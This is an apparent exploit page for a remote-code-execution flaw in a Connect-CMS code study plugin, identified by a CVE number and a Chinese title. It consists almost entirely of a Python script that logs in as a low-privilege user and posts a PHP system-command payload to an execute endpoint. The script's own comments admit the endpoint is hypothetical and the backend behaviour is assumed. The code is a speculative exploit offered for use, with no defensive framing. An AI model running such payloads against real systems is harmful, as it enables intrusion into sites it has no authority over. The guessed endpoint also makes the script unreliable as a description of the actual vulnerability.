CVE-2026-32276: Connect-CMS代码学习插件RCE漏洞

import requests # Target configuration target_url = "http://target-site.com" username = "low_priv_user" password = "password" # Create a session to maintain cookies session = requests.Session() # 1. Authentication step login_payload = { "account": username, "password": password } login_response = session.post(f"{target_url}/login", data=login_payload) if login_response.status_code == 200: print("[+] Login successful") # 2. Exploit Code Study Plugin RCE # The endpoint below is hypothetical based on the plugin name exploit_url = f"{target_url}/code_study/execute" # Payload to execute system command (e.g., 'id' or 'whoami') # Assuming the backend executes PHP or similar code directly 恶意载荷 = "<?php system('whoami'); ?>" exploit_data = { "code": 恶意载荷, "id": "1" } response = session.post(exploit_url, data=exploit_data) # 3. Check output if response.status_code == 200: print("[+] Exploit sent successfully") print("[+] Response:") print(response.text) else: print("[-] Exploit request failed") else: print("[-] Login failed")